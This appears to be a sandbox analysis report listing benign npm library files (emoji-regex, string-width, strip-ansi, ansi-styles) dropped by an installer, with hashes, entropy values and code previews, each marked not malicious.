Preview:	{.."name": "ansi-styles",.."version": "6.2.1",.."description": "ANSI escape codes for styling strings in the terminal",.."license": "MIT",.."repository": "chalk/ansi-styles",.."funding": "https://github.com/chalk/ansi-styles?sponsor=1",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "https://sindresorhus.com"..},.."type": "module",.."exports": "./index.js",.."engines": {..."node": ">=12"..},.."scripts": {..."test": "xo && ava && tsd",..."screenshot": "svg-term --command='node screenshot' --out=screenshot.svg --padding=3 --width=55 --height=3 --at=1000 --no-cursor"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."ansi",..."styles",..."color",..."colour",..."colors",..."terminal",..."console",..."cli",..."string",..."tty",..."escape",..."formatting",..."rgb",..."256",..."shell",..."xterm",..."log",..."logging",..."command-line",..."text"..],.."devDependencies": {..."ava": "^3.15.0",..."svg-term-cli": "^2.1.1",..."tsd": "^0.19.0",..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\emoji-regex\LICENSE-MIT.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	5.103413017839314
Encrypted:	false
SSDEEP:	24:0RWyDiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:0RziJzfPvGt7ICQH+sfIte36AFD
MD5:	EE9BD8B835CFCD512DD644540DD96987
SHA1:	D7384CD3ED0C9614F87DDE0F86568017F369814C
SHA-256:	483ACB265F182907D1CAF6CFF9C16C96F31325ED23792832CC5D8B12D5F88C8A
SHA-512:	7D6B44BB658625281B48194E5A3D3A07452BEA1F256506DD16F7A21941EF3F0D259E1BCD0CC6202642BF1FD129BC187E6A3921D382D568D312BD83F3023979A0
Malicious:	false
Preview:	Copyright Mathias Bynens <https://mathiasbynens.be/>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR I

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\emoji-regex\RGI_Emoji.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (12899)
Category:	dropped
Size (bytes):	12976
Entropy (8bit):	3.9880853116245176
Encrypted:	false
SSDEEP:	96:4TtOjllm4Uh4zutkZyhRA4JUraRFsw7ZpqsFRatj9Fnkz+jmS0WVJK4m1io++Qdq:4VzTgMU4GgawCZlen
MD5:	ECFE555612280520671011F810C4705F
SHA1:	279C292E4C45265FA06A8957FDD6E1643FDBFD3E
SHA-256:	D02478271A0E0BA3A1753FFB2217ABA4FF6852ECC6833EEA880946B15103A8F9
SHA-512:	FFC5D3058D94B9ED1A6B259F8A095363BAA1C1C9809890552CB44D2887F8DE1448404BBD1D515C3713173CACC9ADBE2A47039F94FB908BD9A029AB805D011A59
Malicious:	false
Preview:	"use strict";..module.exports = function () {. // https://mths.be/emoji. return /\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73\|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74\|\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67)\uDB40\uDC7F\|(?:\uD83E\uDDD1\uD83C\uDFFF\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFE])\|(?:\uD83E\uDDD1\uD83C\uDFFE\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFD\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFD\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFC\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uD

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\RGI_Emoji.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (13953)
Category:	dropped
Size (bytes):	14024
Entropy (8bit):	4.16449596350378
Encrypted:	false
SSDEEP:	192:4UyCa20qNgG/kFBEKT4BlvFuTMS8Z4wZQZotVNZl8b2vKO9XuLYRfTAkCwtU1kIN:4Vg4LYVNn8b8K+eLWD7Gxus
MD5:	C356C4D646D1460F1D61617DBF60522E
SHA1:	780B5F3A12284F0DCC50DDFBAC2611C79535C719
SHA-256:	6EF32D4593F0F75CC80D87D49EBA6C635A6AC9B5E0F8202520A6027277A7134E
SHA-512:	7B718C09EC52375BDC321865A5230F52F038CBEFFF170A71D85670876E8BBA34A4F36ABDEA8A7C07AC1C446C2F4FB681ACC0E340F903C8DC2F084104ADEE7CDE
Malicious:	false
Preview:	"use strict";..module.exports = () => {. // https://mths.be/emoji. return /\u{1F3F4}\u{E0067}\u{E0062}(?:\u{E0077}\u{E006C}\u{E0073}\|\u{E0073}\u{E0063}\u{E0074}\|\u{E0065}\u{E006E}\u{E0067})\u{E007F}\|(?:\u{1F9D1}\u{1F3FF}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FF}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FE}]\|(?:\u{1F9D1}\u{1F3FE}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FE}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FD}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FD}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FD}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FC}\u{1F3FE}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FC}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FC}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FD}-\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FB}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FB}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (17334)
Category:	dropped
Size (bytes):	17405
Entropy (8bit):	4.165691132561316
Encrypted:	false
SSDEEP:	192:4UyCa20qNgG/kFBEKT4BlvFuTMS8Z4wZQZotVNZl8b2vKO9XuLYRfTAkCwtU1kI7:4Vg4LYVNn8b8K+eLWD7GxusJ/DdVd5
MD5:	C934D55B9F92A8D3BEA1F6A87FA56533
SHA1:	FA44CE6A357BBF705C09E42D5CDB194F59C1E79A
SHA-256:	8899E020A16B1D0647C6BBD84E17592F1DEF5E65F4818FD7C21C0F10008B04DD
SHA-512:	90E3AEC17C5D211E1C5DBE6ADFE44CC2FA2306CBA93C247901C00D94125037DD6473615A11C720668CACA4167B7EF5DE278D3C2879BE8F357B9EE5D6E783F2B3
Malicious:	false
Preview:	"use strict";..module.exports = () => {. // https://mths.be/emoji. return /\u{1F3F4}\u{E0067}\u{E0062}(?:\u{E0077}\u{E006C}\u{E0073}\|\u{E0073}\u{E0063}\u{E0074}\|\u{E0065}\u{E006E}\u{E0067})\u{E007F}\|(?:\u{1F9D1}\u{1F3FF}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FF}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FE}]\|(?:\u{1F9D1}\u{1F3FE}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FE}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FD}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FD}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FD}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FC}\u{1F3FE}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FC}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FC}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FD}-\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FB}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FB}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\text.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (15725)
Category:	dropped
Size (bytes):	15796
Entropy (8bit):	4.171801301803633
Encrypted:	false
SSDEEP:	192:4UyCa20qNgG/kFBEKT4BlvFuTMS8Z4wZQZotVNZl8b2vKO9XuLYRfTAkCwtU1kIr:4Vg4LYVNn8b8K+eLWD7GxuzDdVm
MD5:	12148D2DFF9CA3478E4467945663FA70
SHA1:	50998482C521255AF2760ED95BBDB1C4F7387212
SHA-256:	1FB82C82D847EBC4AA287F481FF67C8CC9BDE03149987B2D43EB0DEE2A5160B6
SHA-512:	F9F6A61AF37D1924E3A9785AA04A33FA0107791D54CB07663C6EA8A68EDFAE3766682E914B6AFAF198EB97C7F73AB53AA500B4661CDABDEBD2576526664166F4
Malicious:	false
Preview:	"use strict";..module.exports = () => {. // https://mths.be/emoji. return /\u{1F3F4}\u{E0067}\u{E0062}(?:\u{E0077}\u{E006C}\u{E0073}\|\u{E0073}\u{E0063}\u{E0074}\|\u{E0065}\u{E006E}\u{E0067})\u{E007F}\|(?:\u{1F9D1}\u{1F3FF}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FF}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FE}]\|(?:\u{1F9D1}\u{1F3FE}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FE}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}-\u{1F3FD}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FD}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FD}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FC}\u{1F3FE}\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FC}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FC}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[\u{1F3FB}\u{1F3FD}-\u{1F3FF}]\|(?:\u{1F9D1}\u{1F3FB}\u200D\u2764\uFE0F\u200D(?:\u{1F48B}\u200D)?\u{1F9D1}\|\u{1F469}\u{1F3FB}\u200D\u{1F91D}\u200D[\u{1F468}\u{1F469}])[

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\emoji-regex\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (15658)
Category:	dropped
Size (bytes):	15735
Entropy (8bit):	4.002067802016125
Encrypted:	false
SSDEEP:	96:4TtOjllm4Uh4zutkZyhRA4JUraRFsw7ZpqsFRatj9Fnkz+jmS0WVJK4m1io++Qde:4VzTgMU4GgawCZleYwZG038y
MD5:	D59A0C2EBD6EEA2ECDE91D5D8DB69597
SHA1:	415B8552CC069B0B51EC9A0D11E674D0D7BCE944
SHA-256:	0766305FAF3D167FFD85AD6B6D52C80BFEBB90187D83EA6F96ED84B583777E95
SHA-512:	5F33674CBB42282D829E9CE33AD638996166FBD84295886EC9868242C3B3C18A685CF22CAD32563C607182EAD141B872F3A9D69B8608B2CF700336E1D48EADE5
Malicious:	false
Preview:	"use strict";..module.exports = function () {. // https://mths.be/emoji. return /\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73\|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74\|\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67)\uDB40\uDC7F\|(?:\uD83E\uDDD1\uD83C\uDFFF\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFE])\|(?:\uD83E\uDDD1\uD83C\uDFFE\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFD\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFD\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFC\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uD

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\emoji-regex\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1331
Entropy (8bit):	4.857217025358989
Encrypted:	false
SSDEEP:	12:3124pDErf89lJ6as1GioL5p6LuXLObmP9yvqYaGacG1GPee9lFUQIT1WKVPJPeWT:312FfWTLOuXZYdnGylwToYT4VWF
MD5:	4A14D4B54700538E3369C29F7E6F2379
SHA1:	238C48183550D02AB5C0DD37E13D57006DCE640A
SHA-256:	181FA046BDBB7D8958C57DCEF2E63AEA9AF667036E218C7222479A8618375F1A
SHA-512:	D8234B8D250CA8F5A7FC6CA2D37A410824E1F9FD13DECBBE488CD59BF138ADE96F91EB712825539F84245FB6F1A2F784159C8A9D19CA880DC2710661E3282F30
Malicious:	false
Preview:	{. "name": "emoji-regex",. "version": "9.2.2",. "description": "A regular expression to match all Emoji-only symbols as per the Unicode Standard.",. "homepage": "https://mths.be/emoji-regex",. "main": "index.js",. "types": "index.d.ts",. "keywords": [. "unicode",. "regex",. "regexp",. "regular expressions",. "code points",. "symbols",. "characters",. "emoji". ],. "license": "MIT",. "author": {. "name": "Mathias Bynens",. "url": "https://mathiasbynens.be/". },. "repository": {. "type": "git",. "url": "https://github.com/mathiasbynens/emoji-regex.git". },. "bugs": "https://github.com/mathiasbynens/emoji-regex/issues",. "files": [. "LICENSE-MIT.txt",. "index.js",. "index.d.ts",. "RGI_Emoji.js",. "RGI_Emoji.d.ts",. "text.js",. "text.d.ts",. "es2015". ],. "scripts": {. "build": "rm -rf -- es2015; babel src -d .; NODE_ENV=es2015 babel src es2015_types -D -d ./es2015; node script/inject-sequences.js",. "test":

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\emoji-regex\text.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (14391)
Category:	dropped
Size (bytes):	14468
Entropy (8bit):	4.0042755628696085
Encrypted:	false
SSDEEP:	96:4TtOjllm4Uh4zutkZyhRA4JUraRFsw7ZpqsFRatj9Fnkz+jmS0WVJK4m1io++Qd2:4VzTgMU4GgawCZleT038/
MD5:	7B33DD38C0C08BF185F5480EFDF9AB90
SHA1:	B3D9D61AD3AB1F87712280265DF367EFF502EF8B
SHA-256:	D1E41C11AA11E125105D14C95D05E1E1ACD3BEDE89429D3A1C12A71450318F88
SHA-512:	22DA641C396F9972B136D4A18EB0747747252CF7D5D89F619A928C5475D79375FBBE42D4E91821102E271EA144F89267FF307CD46494FDF7D6002CE9768B7BD9
Malicious:	false
Preview:	"use strict";..module.exports = function () {. // https://mths.be/emoji. return /\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73\|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74\|\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67)\uDB40\uDC7F\|(?:\uD83E\uDDD1\uD83C\uDFFF\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFE])\|(?:\uD83E\uDDD1\uD83C\uDFFE\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB-\uDFFD\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFD\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])\|(?:\uD83E\uDDD1\uD83C\uDFFC\u200D\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\|\uD83D\uDC69\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69]))(?:\uD83C[\uDFFB\uD

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\string-width\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	1064
Entropy (8bit):	4.9891161999511775
Encrypted:	false
SSDEEP:	24:GgLScAyY32aEGAybMg5OHqw9cBxr3AZD0hSiw1esSR+Ve6EK:9St2JQ5IqY+xQ5X1A+/
MD5:	E425955CCD341CF2B2B4B95366B687E7
SHA1:	84E24B625A49263B8192B39507002656E64F8302
SHA-256:	4508758772B1F52850B576CA714BBFD6EDB05F8D36492CEAB573DB47F5CD7D84
SHA-512:	258878009E1BBCA7E3F91A2CED8C531DD46BAB19DC26A39E0C8C00CEA92FEDA5663E2D652F3A21EED87593D2F887F16FBB7A6AAC0BF3E91A2843E102F5923059
Malicious:	false
Preview:	import stripAnsi from 'strip-ansi';.import eastAsianWidth from 'eastasianwidth';.import emojiRegex from 'emoji-regex';..export default function stringWidth(string, options = {}) {..if (typeof string !== 'string' \|\| string.length === 0) {...return 0;..}...options = {...ambiguousIsNarrow: true,......options..};...string = stripAnsi(string);...if (string.length === 0) {...return 0;..}...string = string.replace(emojiRegex(), ' ');...const ambiguousCharacterWidth = options.ambiguousIsNarrow ? 1 : 2;..let width = 0;...for (const character of string) {...const codePoint = character.codePointAt(0);....// Ignore control characters...if (codePoint <= 0x1F \|\| (codePoint >= 0x7F && codePoint <= 0x9F)) {....continue;...}....// Ignore combining characters...if (codePoint >= 0x300 && codePoint <= 0x36F) {....continue;...}....const code = eastAsianWidth.eastAsianWidth(character);...switch (code) {....case 'F':....case 'W':.....width += 2;.....break;....case 'A':.....width += ambiguousCharacterWidth;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\string-width\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\string-width\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	4.8232740236528695
Encrypted:	false
SSDEEP:	24:l1EheJtkU8KXRJowQ2rxyQVh1lMnLp1szG2P9eaImH:PEcRRJowQ2rx3lMLp1OomH
MD5:	6370FD65C542B20D05BEB70FD94E5AEB
SHA1:	53AE7A1B3953E86624927FEC8421D453D9C88E41
SHA-256:	ADBCB3B95EA29C1F2A91A0AF600FD9136CE408A38622332848BA4630DC473659
SHA-512:	37BE93A008F964CFDD4C92401E8A9B815CE51B6B5C8C711E0FBCABC119235D1F352A26C9D03C4203EF82E696C28606762474DFD5EFC960E6B6DF1AFD47465729
Malicious:	false
Preview:	{.."name": "string-width",.."version": "5.1.2",.."description": "Get the visual width of a string - the number of columns required to display it",.."license": "MIT",.."repository": "sindresorhus/string-width",.."funding": "https://github.com/sponsors/sindresorhus",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "https://sindresorhus.com"..},.."type": "module",.."exports": "./index.js",.."engines": {..."node": ">=12"..},.."scripts": {..."test": "xo && ava && tsd"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."string",..."character",..."unicode",..."width",..."visual",..."column",..."columns",..."fullwidth",..."full-width",..."full",..."ansi",..."escape",..."codes",..."cli",..."command-line",..."terminal",..."console",..."cjk",..."chinese",..."japanese",..."korean",..."fixed-width"..],.."dependencies": {..."eastasianwidth": "^0.2.0",..."emoji-regex": "^9.2.2",..."strip-ansi": "^7.0.1"..},.."devDependencies": {..."ava": "^3.15.0",

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\strip-ansi\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	468
Entropy (8bit):	4.839560087472558
Encrypted:	false
SSDEEP:	12:7ZpIPQCOjYtCibFDljI7jr1keOKah7n0w5gRpAlFJv:bQCib9lU/1keOKaZZqAFh
MD5:	A6FC9AB578293C89852087B7B0D78552
SHA1:	B443533358BE43AE037F23CD250E3352AE1D6029
SHA-256:	C5BB23B3CA69E97DDEFDB76724B1A7936AC18B5E47C3FE3C5391969D6E6D06F8
SHA-512:	D6795F2DDB1CE4DD0BEEC89CEDB564E412183192CBA97B4CA2BAA7BA443638247CDCD87182E4680647D4F30B90C41C361A542B07D3C77EEEC307C4689D76B052
Malicious:	false
Preview:	import ansiRegex from 'ansi-regex';..const regex = ansiRegex();..export default function stripAnsi(string) {..if (typeof string !== 'string') {...throw new TypeError(`Expected a \`string\`, got \`${typeof string}\``);..}...// Even though the regex is global, we don't need to reset the `.lastIndex`..// because unlike `.exec()` and `.test()`, `.replace()` does it automatically..// and doing it manually has a performance penalty...return string.replace(regex, '');.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\strip-ansi\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\strip-ansi\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.788208456080851
Encrypted:	false
SSDEEP:	24:081EfjTIcvKXRJowQXniQAdYTz1sdHkneayW:08EYpRJowQXniQgYTz1GHknSW
MD5:	A1A0019976C3F4994C816DF2EB411962
SHA1:	323EC71C0CDB2DFDCF717F3E324F0B77981D7C58
SHA-256:	01CEE5E384D1E26843021C1F91BC05ED009E14C2D31C01349A374E64D3416E7D
SHA-512:	59CBF6D8B3E7EFACE2B660FAE651AFBE054A1AA0348F817559FB12CE22CA1648CC9A021196E8F6A6D37AE3D2EB0772D2D40B1E531DB3F3DEB6776A189D167F69
Malicious:	false
